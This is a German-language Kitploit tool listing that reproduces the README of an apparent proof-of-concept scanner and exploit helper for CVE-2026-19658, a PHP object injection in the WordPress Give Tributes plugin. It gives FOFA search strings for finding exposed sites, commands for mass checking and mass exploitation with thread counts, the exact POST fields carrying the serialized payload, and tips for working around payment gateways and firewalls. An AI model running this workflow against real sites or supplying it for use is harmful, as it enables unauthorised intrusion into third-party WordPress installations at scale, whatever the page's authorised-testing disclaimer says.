Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-19658 — Python-3-Prüf- und Exploit-Helfer für CVE-2026-19658, eine PHP-Object-Injection-Schwachstelle in WordPress Give Tributes, mit FOFA-Zielerkennung und Ausnutzung des Legacy-Spendenformulars. | Kitploit
Tools/GitHubGitHub/murrez/cve-2026-19658
AufklärungSchwachstellenscannerSchwachstellenanalyseExploitationScripting & AutomatisierungWebanwendungs-ExploitationInformationsbeschaffungWebsicherheitPenetrationstestsPayload-Entwicklung
GitHub
15vor 1 TagNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
murrez/cve-2026-19658

CVE-2026-19658

Python-3-Prüf- und Exploit-Helfer für CVE-2026-19658, eine PHP-Object-Injection-Schwachstelle in WordPress Give Tributes, mit FOFA-Zielerkennung und Ausnutzung des Legacy-Spendenformulars.

Repository anzeigen
Teilen

CVE-2026-19658 — Give Tributes Unauthenticated PHP Object Injection

Python-3-Proof-of-Concept Scanner und Exploit-Helfer für die Spendenkette für CVE-2026-19658 im WordPress-Add-on Give - Tributes (Liquid Web / GiveWP).

PlattformWordPress-Plugin (erfordert GiveWP-Core)
KomponenteGive - Tributes
Betroffen≤ 2.3.1
Behoben in2.3.1.1+ (bereinigte Multi-Empfänger-eCard-Felder)
CVSS9.8 Kritisch
AuthUnauthentifiziert (Legacy-Spendenformular)
CWECWE-502 — Deserialisierung nicht vertrauenswürdiger Daten
ZuweiserWordfence

Zusammenfassung

Wenn Allow Multiple Recipients für eCards aktiviert und die eCard custom message deaktiviert ist (Standard), speichern anfällige Versionen rohe $_POST-eCard-Empfängerdaten in den Spenden-Metadaten. Die GiveWP-Feldvalidierung verwendet eine give_clean()-Kopie von $_POST (serialisierte Strings werden dort geleert), aber insert_tribute_data() liest unbereinigtes $_POST, sodass first_name / last_name eines zweiten Empfängers ein PHP-serialisiertes Objekt enthalten können.

Auswirkung: Keine bekannte POP-Kette allein innerhalb von Give Tributes. Die Metadaten werden beim Lesen deserialisiert (z. B. Admin-eCard-Vorschau/Erneut-Versenden). RCE oder destruktive Auswirkungen erfordern eine Gadget-Kette aus einem anderen installierten Plugin oder Theme.

Serverseitige Voraussetzungen

  1. Give Tributes ≤ 2.3.1
  2. Allow Multiple Recipients aktiviert (global oder pro Formular)
  3. eCard Custom Message deaktiviert (Standard)
  4. Öffentliches Legacy-Give-Formular ([give_form] / v2), nicht nur v3 Visual Form Builder
  5. Ein Zahlungs-Gateway, das in Ihrem Test eine Spende abschließen kann (oft manual auf Dev/Staging)

Anforderungen

  • Python 3.8+
  • pip install -r requirements.txt

Schnellstart

root@kitploit:~
pip install -r requirements.txt

# Single target — check (terminal flow on by default for --list)
python poc.py -u https://target.example --mode check

# Mass check
python poc.py --list targets.example.txt --mode check --threads 20 --flow

# Single target — exploit (authorized targets only)
python poc.py -u https://target.example --mode exploit \
  --form-url /donate/ --form-id 123 --gateway manual \
  --payload 'O:8:"stdClass":0:{}'

# Mass exploit from check output
python poc.py --list candidates.jsonl --mode exploit --threads 8 --flow \
  --vuln-list exploited.txt

FOFA → Zielliste

Beispiele:

root@kitploit:~
body="/wp-content/plugins/give-tributes/"
body="give-tributes" && body="givewp"

Host-Liste (eine Domain pro Zeile):

root@kitploit:~
python poc.py --list my_hosts.txt --mode check --threads 20 --flow

FOFA-CSV-Export:

root@kitploit:~
python fofa_to_list.py -i fofa_export.csv
python poc.py --list list.txt --mode check --threads 20

CLI-Optionen

OptionBeschreibung
-u, --urlEinzelne Basis-URL
--listURL-Liste, Host-Datei oder candidates.jsonl
--modecheck oder exploit
--form-urlPfad zur Spendenseite oder vollständige URL
--form-idGive-Formular-Post-ID
--pathsZusätzliche Pfade zum Crawlen nach Formularen
--payloadSerialisiertes Objekt für first_name des 2. Empfängers
--gatewayGive payment-mode (Standard manual)
--emailSpender-give_email
--flowEine Zeile pro Ziel bei Massenläufen (Standard mit --list)
--no-flowNur Fortschrittszusammenfassung
--quiet, -qMinimale Konsolenausgabe
--threads, -jMassenparallelität (Standard 12)
--outputJSONL-Log (Standard cve_2026_19658_results.jsonl)
--vuln-listText-Treffer / Exploit-Zeilen (Standard hits.txt)
--candidates-listCheck-Metadaten-JSONL (Standard candidates.jsonl)

Verwenden Sie --vuln-list exploited.txt bei Exploit-Läufen, damit Check-Treffer in hits.txt nicht überschrieben werden.

Ausgabedateien

DateiModusInhalt
cve_2026_19658_results.jsonlbeideVollständiges JSON pro Ziel
hits.txtcheckURLs mit exploitable_candidate
candidates.jsonlcheckbest_form, Versionshinweise
exploited.txtexploiturl|payment=… bei bestätigter Spende

Check-status-Werte

StatusBedeutung
candidateAnfälliges Plugin + Give + Legacy-Formular mit Tributes-UI
vulnerable_no_formPlugin/Version OK, kein geeignetes Formular auf gecrawlten Pfaden gefunden
patchedTributes > 2.3.1 oder ≥ 2.3.1.1 (wenn Version lesbar)
give_onlyGive ohne erkennbare Tributes
no_pluginTributes nicht erkannt

Der Remote-Scan kann „Allow Multiple Recipients“ nicht zuverlässig erkennen; Kandidaten können zur Exploit-Zeit dennoch fehlschlagen.

Exploit-Hinweise

  • Das PoC sendet zwei eCard-Empfänger; die Payload ist das zweite first_name-Feld.
  • manual-Gateway ist in der Produktion oft deaktiviert — versuchen Sie Gateways, die im Formular sichtbar sind (stripe, paypal, test, …).
  • Erfolg erfordert Give-Belegmarker (nicht generischen Seitentext, der „thank you“ enthält). Dieselbe URL mit weiterhin vorhandenem Formular wird nicht als Erfolg gezählt.
  • give validation rejected donation: Tribute-/Notify-Optionen, Betrag oder Gateway-Stimmmigkeit.
  • HTTP 403: WAF (Sucuri, MalCare usw.) blockiert POST.
  • Nur-v3-Formulare: Legacy-Formular-URL verwenden oder überspringen (der Prozessor lehnt v3-IDs am Legacy-Endpunkt ab).

POST-Form (Legacy-Formular)

root@kitploit:~
give_tributes_show_dedication=yes
give_tributes_would_to=send_eCard
give_tributes_ecard_notify[recipient][first_name][]=Valid
give_tributes_ecard_notify[recipient][first_name][]=<serialized payload>
give_tributes_ecard_notify[recipient][email][]=<donor email>
give_tributes_ecard_notify[recipient][email][][email protected]
…

Repository-Struktur

root@kitploit:~
.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

Lokale Scan-Listen und Lauf-Artefakte (list.txt, fofa*.csv, *.jsonl, hits.txt, …) befinden sich in .gitignore und sollten nicht committet werden.

Referenzen

  • NVD — CVE-2026-19658
  • Give Tributes readme (Fix-Hinweis 2.3.1.1)
  • GiveWP-Plugin

Rechtliches

Nur für autorisiertes Sicherheitstesting und Schulung. Sie sind für die Einhaltung der geltenden Gesetze und Programmregeln verantwortlich.

Tool herunterladen